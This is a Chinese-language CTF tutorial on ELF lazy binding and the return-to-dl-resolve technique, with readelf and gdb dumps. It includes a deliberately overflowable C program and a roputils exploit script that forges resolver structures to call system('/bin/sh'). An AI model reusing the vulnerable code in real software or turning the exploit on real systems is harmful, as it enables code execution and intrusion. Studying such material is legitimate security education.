从lazy binding(延迟绑定) and return to dl-resolve

来源:互联网 发布:伊斯兰教在中国知乎 编辑:程序博客网 时间:2024/05/22 13:19

先介绍lazy binding:

代码如下:
#include <unistd.h>int main(){    char buf[100];    int size;    read(0, &size, 4);    read(0, buf, size);    write(1, buf, size);    return 0;}
编译链接: gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息:
yang@yang-virtual-machine:~/ctf$ readelf -S bof共有 30 个节头,从偏移量 0x1178 开始:节头:  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al。。。。。。。。。  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1。。。。。。。。。。  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4  [10] .rel.plt          REL             080482b0 0002b0 000020 08   A  5  12  4  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16。。。。。。  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1。。。。。  [28] .symtab           SYMTAB          00000000 001628 000440 10     29  45  4  [29] .strtab           STRTAB          00000000 001a68 00025f 00      0   0  1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings)  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)  O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时,因为库是动态加载的,所以库函数的地址也是不确定的,需要动态加载确定 。
比如调用read函数 ,一般程序汇编代码为: call write@plt
在区段中,重点是这三个区段:plt、rel.plt、got.plt,重点介绍下:
plt段包含一段代码,call的时候就是执行这段代码,rel.plt包含重定位时关于函数地址的结构体,got.plt包含函数的地址,如果是第一次调用函数时,got.plt中包含plt表的地址,以后调用函数时,该表中保存函数地址。

.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数

符号信息:
yang@yang-virtual-machine:~/ctf$ readelf -s bofSymbol table '.dynsym' contains 6 entries:   Num:    Value  Size Type    Bind   Vis      Ndx Name     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND      1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)     5: 0804854c     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_usedSymbol table '.symtab' contains 68 entries:   Num:    Value  Size Type    Bind   Vis      Ndx Name     。。。。。。。。。。    46: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0      。。。。。。。。。。。    56: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0  。。。。。。。。。。。。    63: 0804844d   100 FUNC    GLOBAL DEFAULT   13 main    64: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses    65: 0804a024     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__    66: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable    67: 080482d0     0 FUNC    GLOBAL DEFAULT   11 _init
dynamic段信息如下:
yang@yang-virtual-machine:~/ctf$ readelf -d bofDynamic section at offset 0xf14 contains 24 entries:  标记        类型                         名称/值 0x00000001 (NEEDED)                     共享库:[libc.so.6]。。。。。。。。。。。 0x00000005 (STRTAB)                     0x804822c 0x00000006 (SYMTAB)                     0x80481cc 0x0000000a (STRSZ)                      80 (bytes) 0x0000000b (SYMENT)                     16 (bytes)。。。。。。。。。。。 0x00000017 (JMPREL)                     0x80482b0 0x00000011 (REL)                        0x80482a8 0x00000012 (RELSZ)                      8 (bytes) 0x00000013 (RELENT)                     8 (bytes)。。。。。。。。。。。yang@yang-virtual-machine:~/ctf$ 
几个结构体:
.dynamic节区结构体如下:
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;

.rel.plt的结构体如下:
typedef struct { Elf32_Addr r_offset; // 函数的真实地址 Elf32_Word r_info; // 符号表索引} Elf32_Rel;

r_info要满足这样的条件:
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)

.dynsym结构体定义:typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
对应着dynamic区段的symtab。

STRTAB中包含着对应的字符串:
gdb-peda$ x/10s 0x804822c0x804822c:""0x804822d:"libc.so.6"0x8048237:"_IO_stdin_used"0x8048246:"read"0x804824b:"__libc_start_main"0x804825d:"write"0x8048263:"__gmon_start__"0x8048272:"GLIBC_2.0"0x804827c:""0x804827d:""
下边具体分析一下plt段的代码:
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bofbof:     文件格式 elf32-i386Disassembly of section .plt:08048300 <read@plt-0x10>: 8048300:ff 35 04 a0 04 08    pushl  0x804a004 8048306:ff 25 08 a0 04 08    jmp    *0x804a008 804830c:00 00                add    %al,(%eax)...08048310 <read@plt>: 8048310:ff 25 0c a0 04 08    jmp    *0x804a00c 8048316:68 00 00 00 00       push   $0x0 804831b:e9 e0 ff ff ff       jmp    8048300 <_init+0x30>08048320 <__gmon_start__@plt>: 8048320:ff 25 10 a0 04 08    jmp    *0x804a010 8048326:68 08 00 00 00       push   $0x8 804832b:e9 d0 ff ff ff       jmp    8048300 <_init+0x30>08048330 <__libc_start_main@plt>: 8048330:ff 25 14 a0 04 08    jmp    *0x804a014 8048336:68 10 00 00 00       push   $0x10 804833b:e9 c0 ff ff ff       jmp    8048300 <_init+0x30>08048340 <write@plt>: 8048340:ff 25 18 a0 04 08    jmp    *0x804a018 8048346:68 18 00 00 00       push   $0x18 804834b:e9 b0 ff ff ff       jmp    8048300 <_init+0x30>
可以看出plt段起始地址对应dl_runtime_resolve函数

还是以函数read举例,当调用函数read时,执行call read@plt,跳到地址8048310处执行。
gdb-peda$ x/wx 0x804a00c0x804a00c <read@got.plt>:0x08048316gdb-peda$ x/20wx 0x0804a000 0x804a000:0x08049f140xb7fff9380xb7ff24f00x080483160x804a010 <__gmon_start__@got.plt>:0x080483260xb7e2f9900x080483460x000000000x804a020:0x000000000x000000000x000000000x000000000x804a030:0x000000000x000000000x000000000x000000000x804a040:0x000000000x000000000x000000000x00000000
可以看到刚开始read@got.plt中保存的是read@plt+0x6的地址,所以调到地址0x8048316处继续执行。
先将got+4入栈,在调用*(got+0x8)处的函数

注意got.plt表的前三项有特殊意义:第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始就是函数的GOT表了。

函数_dl_runtime_resolve的定义: _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。

根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset;

JMPREL(对应 rel.plt)可以通过以下命令获取:
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0

gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107

根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置
r_info
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM 0x00000006 (SYMTAB)                     0x80481cc 0x0000000b (SYMENT)                     16 (bytes) 0x6ffffff0 (VERSYM)                     0x804827cgdb-peda$ x/5wx 0x80481dc  (sym_entry)0x80481dc:0x0000001a0x000000000x000000000x000000120x80481ec:0x00000037
再找到符号信息中的符号名称:
char *sym_name = STRTAB + sym_entry->st_name;

yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR 0x00000005 (STRTAB)                     0x804822c 0x0000000a (STRSZ)                      80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。

return to dl-resolve:
利用原理就是在用户可以控制的区域内,布置几个结构体,包括rel.plt,SYMTAB这几个相关的结构体,数据设置为自己的数据,最后调用到自己要执行的函数。

看一下用roputils模块写的exp:
from roputils import *fpath = './pwn200'offset = 112rop = ROP(fpath)addr_bss = rop.section('.bss') #获得bss节的地址buf = rop.retfill(offset) #填充112个字符buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数,执行addr_bss+20的函数,参数在addr_bss处。target = Proc(rop.fpath)target.write(p32(len(buf)) + buf)print "str: %r" % target.read(len(buf))buf = rop.string('/bin/sh')  #从此往下都是读取的数据,此处是函数参数,从此开始也是我们控制布置数据的区域buf += rop.fill(20, buf)  填充20大小buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址buf += rop.fill(500, buf)target.write(buf)target.interact(0)

相关链接:
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
https://www.math1as.com/index.php/archives/341/
http://www.freebuf.com/articles/system/149214.html
http://www.cnblogs.com/Joe-Z/p/5528137.html
http://drops.xmd5.com/static/drops/binary-14360.html
http://w0lfzhang.me/2016/10/25/return-to-dl-resolve/
http://pwdme.cc/2017/09/26/lazy-binding-in-detail/
http://d0m021ng.github.io/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86%EF%BC%88%E4%B8%80%EF%BC%89/
http://www.evil0x.com/posts/19226.html

阅读全文
0 0
原创粉丝点击